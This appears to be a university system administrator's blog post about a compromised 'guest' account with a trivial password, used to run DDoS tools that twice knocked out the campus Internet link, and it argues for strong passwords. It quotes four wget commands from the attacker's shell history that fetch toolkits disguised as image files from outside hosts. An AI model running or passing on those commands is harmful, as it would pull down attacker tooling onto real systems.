System Administration

“Why do strong passwords matter?” “Who cares about my data? I don’t have anything worth stealing.” These are common arguments raised by users when presented with the requirement of using strong passwords. The strongest counter-example to these arguments came this week in the form of a compromised user account. Let’s travel back in time…

The day began like any other. I arrived at work around 0745 and settled into my normal routine: check email, catch up on a few security blogs, check the SANS ISC page. Hmm, that’s strange. SANS is down. Nope, Google is down. Are we having a DNS problem? Nope, Nagios reports DNS is in good shape. Okay, let’s check off-campus connectivity. I login to our console server and examine the gateway router, which reports that all BGP sessions are standing. I try a traceroute and discover that I cannot reach the gateway router. “That’s odd,” I think to myself, “there are only a few devices between me and the gateway and Nagios reports that they are all reachable.” One of those devices happens to be our PacketShaper and I notice that its management interface is sluggish this morning. What in the world could this mean? Has the PacketShaper lost its brains? As a desperate Hail Mary attempt at resolving the problem, I reboot and PacketShaper and the problem goes away. The PacketShaper did have an uptime of several hundred days, maybe it was thinking like a Windows box and needed to be rebooted. Oh, well… Other issues require attention.

Around rolls 1430 and the problem reoccurs. Okay, now I’m starting to get upset, but at least I know the quick fix. I reboot the PacketShaper and the problem goes away. This time I open a tech-support request to determine that source of the problem. (I should have done this the first time, but other problems preempted my time.) Support is sometimes slow in responding, so I expect an answer tomorrow. Mid-evening the answer comes in: “You have two hosts on campus that were sourcing several thousand new flows per second. The vast number of flows overwhelmed the PacketShaper’s ability to continue to pass traffic.” Great, we have a hacked box and one of them is our public login Linux system.

So, I start digging into the logs on our public access Linux system. This is a system that all faculty, staff and students have access to and is used primarily for programming and web development. My assumption is that someone had a weak password and a brute force SSH attack was able to break the password. I still found this to be unusual, since we have a system in place to block individual IPs after they source five unsuccessful logins in a given time period. This usually does a very good job of blocking these brute-force style attacks. After reviewing the logs I see that a user named “guest” had a bunch of DDoS tools running on this host. Not a good sign. So, I kill off the processes and disable the user. Who owns the account named “guest” anyway? And what was the password that was set?

After contacting the account owner, it turns out that the username and password were both set to “guest.” Well, that shouldn’t be too hard to guess. And it certainly explains why the IP block tool didn’t succeed: the attacking host likely tried guest/guest as one of the first five attempts. So, we rename the account, remove the hack tools, set a stronger password and lecture our HelpDesk staff on the evils or setting weak passwords.

As a last item, I begin examining the contents of the guest user’s .history file. This should give me some interesting insight into how these attackers operate. I see that the attackers retrieved toolkits from several locations:

wget service.fischer-and-friends.de/~mysql/pf/fld.tgz
wget r0by.741.com/st.gif
wget r0by.741.com/www/lg/psy.gif
wget uid.host.sk/loc.jpg

At last check, most of these locations were still active. A complete copy of the .history file is available here, which is most enlightening.

So, the moral of the story is: “Always use strong passwords, no matter how inconvenient or unimportant you might think that it is. Your weak password could be a system administrator’s nightmare.” In this case, a weak password was directly responsible for causing two discrete outages on the University’s Internet connection and for consuming the better part of a day in troubleshooting.